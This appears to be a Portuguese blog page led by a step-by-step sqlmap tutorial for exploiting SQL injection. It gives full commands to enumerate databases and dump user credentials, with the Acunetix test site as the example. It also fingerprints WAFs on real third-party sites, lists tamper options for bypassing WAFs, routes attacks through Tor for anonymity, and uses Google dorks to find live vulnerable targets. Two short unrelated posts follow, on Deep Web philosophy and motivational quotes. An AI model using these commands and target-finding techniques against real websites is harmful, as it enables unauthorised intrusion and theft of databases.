terça-feira, 17 de setembro de 2019

Invadindo Sites com SQLMAP

SQLMAP Um Guia Completo Passo a Passo

Introdução e Objetivo

O objetivo deste artigo é ser um tutorial básico, prático e simples para ensinar como utilizar a ferramenta SQLMAP para explorar vulnerabilidades de SQL Injection em aplicações web (ou websites).

SQL Injection é uma classe de vulnerabilidade que através de requisições get ou post acrescidos de parâmetros de queries, podemos obter informações do banco de dados da aplicação que está sendo invadida.

SQLMAP é uma ferramenta opensource, gratuita que através de parâmetros específicos que serão apresentados neste arquivo, teste de várias formas diferentes se o site está ou não vulnerável e, caso estiver, permite que com alguns outros parâmetros, possamos de forma simples obter informações do banco de dados.


Instalação do sqlmap em um Linux

Debian-Like Comando: apt install sqlmap
Red Hat-Like Comando: yum install sqlmap


Apresentação dos parâmetros básicos

sqlmap -u "endereço_do_site" --threads=10 -o --batch --level=5 --risk=3

sqlmap - é o comando

-u "endereço_do_site" é a URL que testaremos o ataque. Ela pode conter um parâmetro que iremos explorar, por exemplo: "?cat=1" ou então um fomulário.

--threads=10 é um parâmetro que utilizar 10 processos do sqlmap simultaneamente para aumentar a performance do teste. Em casos onde o ataque deve ser silencioso ou o alvo seja sensível e possa ser impactado, pode ser que este parâmetro não deva ser utilizado. Mas de uma forma geral recomendo a sua utilização para ganho de tempo.

-o é outro parâmetro do sqlmap que visa otimizar a conexão com o alvo.

--batch é um parâmetro que automatiza um "Sim" para as perguntas básicas do wizard de teste do sqlmap.

--level=5 é um parâmetro que amplia os pontos de injeção que o sqlmap irá testar o ataque, ou seja, irá testar em parâmetros de cookies, headers, entre outros.

--risk=3 é um parâmetro que utiliza queries mais extensas e complexas.

Teste dos Parâmetros Básicos

A partir desse ponto você já sabe o básico! Existe um site liberado para testes da empresa Acunetix que é feito para testar ataques... Então teste o que você aprendeu!

Execute o seguinte comando e observe os resultados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --
threads=10 -o --batch --level=5 --risk=3


SQLMAP - Teste Básico Resultado - Téchne Digitus


Conclusão do Teste dos Parâmetros Básicos

Observando o output do teste descobrimos o seguinte:
- O parâmetro cat é vulnerável a 3 tipos de técnicas: boolean-based blind, error-based, AND/OR time-based blind, UNION query.
- O banco de dados identificado é o MySQL
- O webserver é um Nginx e utiliza PHP 5.3.10
- Não tinha um WAF protegendo o alvo

Com essas informações, poderíamos até ter feito um teste muito mais simples e rápido para conseguir invadir esse site! Como?
1. Removendo as opções --level=5, --risk=3.
2. Testando somente ataques de injection para MySQL
3. Poderíamos até testar um tipo de ataque, o error-based. Que é o mais trivial e rápido.
4. Foque o teste somente no parâmetro cat.

Sendo assim, vamos testar!

1. Limpe o SQLMAP com o comando: sqlmap --purge

Assim poderemos retestar o alvo sem que o sqlmap leve em consideração testes anteriores.

2. Veja o comando enxuto:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf

-p cat testa somente o parâmetro cat

--technique=e testa somente injections para a técnica error-based

--dbms=MySQL testa somente injections para MySQL

--skip-waf ignora o teste de WAF


Teste do Comando Enxuto - SQLMAP - Téchne Digitus

Teste de Obtenção de Dados do Banco de Dados

Uma vez que verificamos que o site é explorável com SQL Injection, vamos obter informações dos bancos de dados.


1. Descobrindo os bancos de dados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf --dbs

Acrescentando o parâmetro --dbs obtemos quais os bancos de dados disponíveis neste alvo.
Conforme podemos observar na imagem abaixo, encontramos dois bancos de dados: acuart e information_schema.


Descobrindo os Bancos de Dados SQLMAP - Téchne Digitus


2. Obtendo as tabelas o banco:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart --tables


O banco que nos interessa é o acuart. Então usamos o parâmetro -D acuart para obter os dados deste banco específico e então, utilizamos o parâmetro --tables para obter as tabelas deste banco.

Obtendo Tabelas com SQLMAP - Téchne Digitus


3. Obtendo os dados que nos interessam

3.1. Obtendo ("roubando") todo o banco de dados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart --tables --dump-all


Obtendo todo o banco de dados SQLMAP Téchne Digitus


Adicionando o parâmetro  --dump-all obtemos todo o banco de dados que foi salvo (no meu caso) no diretório: /home/user/.sqlmap/output/testphp.vulnweb.com/dump/acuart/


Dump SQLMAP Téchne Digitus


3.2. Visualizando quais os campos específicos de uma tabela que nos interesse:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart -T users --columns

Neste caso, a tabela que me interessou foi "users". Então usei -T users para escolher essa tabela no comando e --columns para obter o campos dessa tabela.


Obtendo Campos da Tabela User SQLMAP Téchne Digitus


3.3. Obtendo o conteúdo dos campos que nos interessam:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart -T users -C uname,pass --dump

-C uname,pass --dump pedimos para que ele busque o conteúdo dos campos uname e pass (que seriam username e senha). Nesse alvo de teste, infelizmente o resultado é sem graça... rs


Uname e Pass SQLMAP Téchne Digitus

Testes Avançados

A partir de agora, iremos para a "pancadaria"!
Nas próximas sessões veremos outros tipos de testes importantes.
Tudo que vimos até agora foi o teste mais básico, mas muitas vezes não temos um parâmetro, temos somente um formulário de login. Queries simples podem não funcionar pois a vulnerabilidade pode estar escondida atrás de um WAF, uma aplicação web com alguma sanitização, validação de dados ou alguma configuração que faça com que o caminho para o injection não seja tão óbvio... Mas nem por isso ele não seja penetrável... O segredo do hacking é tentar de múltiplas formas diferentes até acharmos a forma certa!


Identificando o WAF

Com o parâmetro --identify-waf vamos identificar se existe um WAF no alvo e qual seria ele...

Vamos observar em três exemplos diferentes:

sqlmap -u "https://www.technedigitus.com" --identify-waf

Cloudflare - WAF- SQLMAP Téchne Digitus
Aqui temos o WAF do CloudFlare

sqlmap -u "https://www.uol.com.br" --identify-waf

CloudFront AWS - WAF - SQLMAP Téchne Digitus
Aqui temos o WAF CloudFront da AWS

sqlmap -u "https://www.symantec.com" --identify-waf

Akamai WAF - SQLMAP Téchne Digitus
Aqui temos o WAF da Akamai

sqlmap -u "http://testphp.vulnweb.com/" --identify-waf

Alvo sem WAF - SQLMAP Téchne Digitus
Aqui não temos WAF

Contornando o WAF

Isso não é simples, depende de um pouco de sorte e técnica misturados...
Mas veremos algumas parâmetros interessantes:

--random-agent Ele altera o agente web do teste, simulando um browser qualquer. Muitas vezes o WAF pode identificar que o ataque vem do SQLMAP e aplicar um bloqueio. Se simulamos um browser normal, temos chances de contorná-lo.

--tamper=nome_do_tamper

Esse parâmetro permite que apliquemos encodes dos mais variáveis nos comandos de injection do SQLMAP.

Não é recomendável usar mais de três tipos de tamper em um ataque. E para cada tipo de banco de dados existem técnicas de tamper diferentes.

Em um teste de invasão insistente, devemos tentar múltiplas combinações. Isso não é fácil, requer tempo.

No link a seguir, temos uma referência bem completa dos tampers disponíveis e suas aplicações: https://securityonline.info/sqlmap-tamper-script-bypassing-waf/

No geral, recomendo dois tipos de teste com tampers.

Teste de Tamper Básico:

--tamper=space2comment é um tamper para múltiplos bancos de dados. Ele substitui espaços em branco da query de ataque por / ** /

--tamper=between,randomcase,space2comment é uma "combinação ninja" para alvos com MySQL. Recomendo.

--hex é uma forma de tratar dados do banco de dados quando não estão ASCII. Tentar todas as combinações anteriores com e sem o --hex.

--no-cast é uma forma de tratar todo o comando do injection com caráteres string (espaços como "NULL"). Em alguns casos pode ser necessário e outros pode atrapalhar totalmente o injection. Não pode ser usado junto com o --hex. Também é sugerido testar todas as técnicas anteriores com e sem o --no-cast.


Injetando em Formulários



Formulário - SQLMAP - Téchne Digitus
Formulário para testar a injeção


Muitas vezes temos um formulário de login (ou até mesmo um campo de busca) em um site que não
existe na URL um parâmetro que possa ser injetado. Para injetar em um formulário, basta usarmos o parâmetro --forms. Teste com o exemplo abaixo:

sqlmap -u "http://testphp.vulnweb.com/login.php" --forms --threads=10 -o --batch


SQLMAP --forms Atack - Téchne Digitus


Realizando Testes Anônimos


Para atacarmos um alvo de forma anonimizada, ou seja, ocultando a nossa origem (escondendo meu IP pessoal), podemos utilizar o Tor.

Tor

Para saber tudo sobre Tor e Deep Web, recomendo os seguintes artigos do TéchneDigitus:

Deep Web

Entendendo a Tor Network

Onion Links - Navegando com o Tor Browser

Configurando o Tor para escolher quais relays (ou países) desejo usar

Mecanismo de Busca Anônima - Disponível na Tor Network

Proxy Transparente pela Tor utilizando OpenWrt


Instalando o Serviço do Tor em um Linux

Debian-Like Comando: apt install tor
Red Hat-Like Comando: yum install tor



Utilizando o Tor com o SQLMAP

sqlmap --tor --check-tor -u "http://testphp.vulnweb.com/login.php" --forms --threads=10 -o --batch --time-sec=15 --timeout=45 --retries=4

--tor ativa o Tor

--check-tor verifica se o Tor está sendo utilizado com sucesso. Para verificar, busque a seguinte linha no output: [INFO] Tor is properly being used

Como o Tor torna a conexão mais lenta e passível a erros ocasionados por diversas degradações que afetam banda e latência, recomendo o uso de alguns parâmetros adicionais para tornar a operação mais resiliente a falhas devido a conexões degradadas:

--time-sec=15 o padrão é 5, tempo de espera para resposta do banco de dados.

--timeout=45 o padrão é 30, tempo de espera antes de considerar uma conexão como perdida ou encerrada.

--retries=4 o padrão é 3, número de tentativas em caso de falha de uma conexão.




Tor com SQLMAP  Téchne Digitus


Google Dorks


Para encontramos alvos para testes ÉTICOS E ANONIMIZADOS, podemos buscar no Google utilizando strings como "php?produto=", "php?id=", "php?item", "php?num=" mais algumas outras palavras para achar alvos em algum contexto, por exemplo: livros, roupas, loja, etc.


Google Dork Téchne Digitus
Exemplo de Google Dork


Conclusão

Neste artigo aprendemos como explorar vulnerabilidades de SQL Injection utilizando SQLMAP. Vimos técnicas básicas e "técnicas de guerra" mais avançadas para alvos hardenizados, como fazer isso de forma anônima e, por fim, como encontrar alvos para serem testados.

domingo, 11 de agosto de 2019

A Filosofia da DeepWeb


Por quê existe a DeepWeb? Por quê ela incomoda tanto e querem fazer com que ela pareça ser uma coisa do mau?

Existe uma "filosofia" por trás dela! E é muito bem expressa em um manifesto escrito por Ian Clark (Link do Texto Original: https://freenetproject.org/pages/about.html)

O Vídeo Abaixo apresenta uma leitura comentada deste manifesto. 16 minutos de vídeo. Confira!


domingo, 27 de janeiro de 2019

Três Frases Motivacionais - Téchne Digitus Motivacional 01

Trazendo este projeto (o Téchne Digitus) para a divulgação de mais tipos de informações que podem ser úteis não só a quem quiser conhecer algum procedimento técnico ou apoiar alguma causa; a partir deste post "Téchne Digitus Motivacional 01", iniciamos a postagem de materiais simples que podem esquentar o espírito dos quais desejam terem seus espíritos aquecidos, motivados.




Seguem três grandes frases para serem impressas em um papel e coladas em alguma parede que você veja todo o dia.

As frases são:

"Quanto menos pessoas souberem de sua vida e seus projetos, mais feliz e bem sucedido você será!" - Evandro Guedes

"A coragem é a primeira das qualidades humanas, porque é a qualidade que grande as demais." - Winston Churchill

"O fracasso é apenas uma mudança temporária de direção para te posicionar diretamente para o seu próximo sucesso." - Denis Waitley


3 Frases Motivacionais Téchne Digitus
[imagem para impressão] [salve esta imagem em seu computador e imprima]


Caso tenha interesse, também temos o mesmo "paper" disponível em:

- PDF: https://docdro.id/eaDlFa5